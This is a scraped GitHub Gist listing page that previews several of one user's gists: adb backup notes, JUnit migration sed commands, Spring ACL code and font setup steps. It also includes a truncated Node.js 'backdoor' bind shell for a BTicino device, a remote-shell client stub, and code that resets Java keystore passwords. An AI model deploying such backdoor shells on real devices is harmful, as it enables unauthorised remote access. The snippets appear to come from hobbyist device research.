Skip to content

Instantly share code, notes, and snippets.

root@C3X-00-00-00-00-00-ca-00000000:~# cat /home/bticino/cfg/extra/c300x-backdoor/server.js
var spawn = require('child_process').spawn
var net = require('net')
var server = net.createServer(function (socket) {
console.log('New connection!')
var sh = (process.platform === 'win32') ? spawn('cmd') : spawn('/bin/bash')
sh.stdin.resume()
sh.stdout.on('data', function (data) {
// Node makes async stuff easy.
@slyoldfox
slyoldfox / android-backup-apk-and-datas.md
Created February 10, 2023 17:30 — forked from AnatomicJC/android-backup-apk-and-datas.md
Backup android app, data included, no root needed, with adb

Backup android app, data included, no root needed, with adb

adb is the Android CLI tool with which you can interact with your android device, from your PC

You must enable developer mode (tap 7 times on the build version in parameters) and install adb on your PC.

Don't hesitate to read comments, there is useful tips, thanks guys for this !

Fetch application APK

@slyoldfox
slyoldfox / ChangePassword.java
Created February 5, 2023 15:53 — forked from zach-klippenstein/ChangePassword.java
The keystore password on Java keystore files is utterly pointless. You can reset it without knowing it, as shown by this code. Note that private keys are still secure, as far as I know. The JKS implementation is copyright Casey Marshall (rsdio@metastatic.org), and the original source is available at http://metastatic.org/source/JKS.java. I've in…
import java.util.*;
import java.io.*;
import java.security.*;
public class ChangePassword
{
private final static JKS j = new JKS();
public static void main(String[] args) throws Exception
{
@slyoldfox
slyoldfox / Client.js
Created January 27, 2023 19:49 — forked from roccomuso/Client.js
Node.js remote shell example
var net = require('net')
var readline = require('readline')
/**
* @class Client
* @param host {String} the host
* @param post {Integer} the port
*/
function Client (host, port) {
this.host = host
@slyoldfox
slyoldfox / HOWTO.md
Created January 11, 2023 14:01 — forked from stramel/HOWTO.md
Installing Powerline fonts on Windows 10

Installing Powerline fonts on Windows 10

Steps

  1. Download and extract zip from here
  2. Press Windows + x
  3. Press a (Selects PowerShell (Admin))
  4. Navigate to directory where fonts were extracted to (cd ${HOME}\Downloads\fonts-master\fonts-master)
  5. Set Execution policy Set-ExecutionPolicy Bypass
  6. Press y then Enter to accept
@slyoldfox
slyoldfox / gist:337012b9e9c1b8a0efd3aed45f01bc42
Created May 21, 2022 06:00
Lean migration from Junit4 to Junit5
find . -type f -name '*.java' -exec sed -i '' -e s/org.junit.Test/org.junit.jupiter.api.Test/g {} \;
find . -type f -name '*.java' -exec sed -i '' -e s/org.junit.AfterClass/org.junit.jupiter.api.AfterAll/g {} \;
find . -type f -name '*.java' -exec sed -i '' -e s/org.junit.After/org.junit.jupiter.api.AfterEach/g {} \;
find . -type f -name '*.java' -exec sed -i '' -e s/org.junit.BeforeClass/org.junit.jupiter.api.BeforeAll/g {} \;
find . -type f -name '*.java' -exec sed -i '' -e s/org.junit.Before/org.junit.jupiter.api.BeforeEach/g {} \;
find . -type f -name '*.java' -exec sed -i '' -e s/org.junit.Assert/org.junit.jupiter.api.Assertions/g {} \;
find . -type f -name '*.java' -exec sed -i '' -e s/Assert.assert/Assertions.assert/g {} \;
find . -type f -name '*.java' -exec sed -i '' -e s/org.junit.runner.RunWith/org.junit.jupiter.api.extension.ExtendWith/g {} \;
find . -type f -name '*.java' -exec sed -i '' -e s/@RunWith\(SpringJUnit4ClassRunner.class\)/@ExtendWith\(SpringExtension.class\)/g {} \;
@slyoldfox
slyoldfox / AclClass.java
Created September 16, 2020 13:32 — forked from MuellerConstantin/AclClass.java
Spring Data ACL permission filtering support for persistence layer
import lombok.*;
import org.springframework.data.annotation.Immutable;
import javax.persistence.*;
@Entity
@Immutable
@Table(name = "acl_class")
@AllArgsConstructor
@NoArgsConstructor
@slyoldfox
slyoldfox / disable-auto-android-file-transfer.md
Created June 20, 2020 08:13 — forked from zeroseis/disable-auto-android-file-transfer.md
Disable auto start for Android File Transfer
  • Close Android File Transfer
  • Open Activity Monitor and kill “Android File Transfer Agent”
  • Go to where you installed “Android File Transfer.app” (I have it under /Applications)
  • Ctrl+click –> “Show package contents”
  • Go to Contents/Resources
  • Rename “Android File Transfer Agent” to e.g. “Android File Transfer Agent_DISABLED”
  • Then go to “/Users/username/Library/Application Support/Google/Android File Transfer” and again rename the Agent app.
package com.atlassian.bitbucket.internal.boot.web;
import org.apache.catalina.LifecycleListener;
import org.apache.catalina.core.AprLifecycleListener;
import org.apache.coyote.http11.Http11AprProtocol;
import org.springframework.boot.context.embedded.EmbeddedServletContainerCustomizer;
import org.springframework.boot.context.embedded.tomcat.TomcatEmbeddedServletContainerFactory;
import org.springframework.context.annotation.Bean;
import org.springframework.context.annotation.Configuration;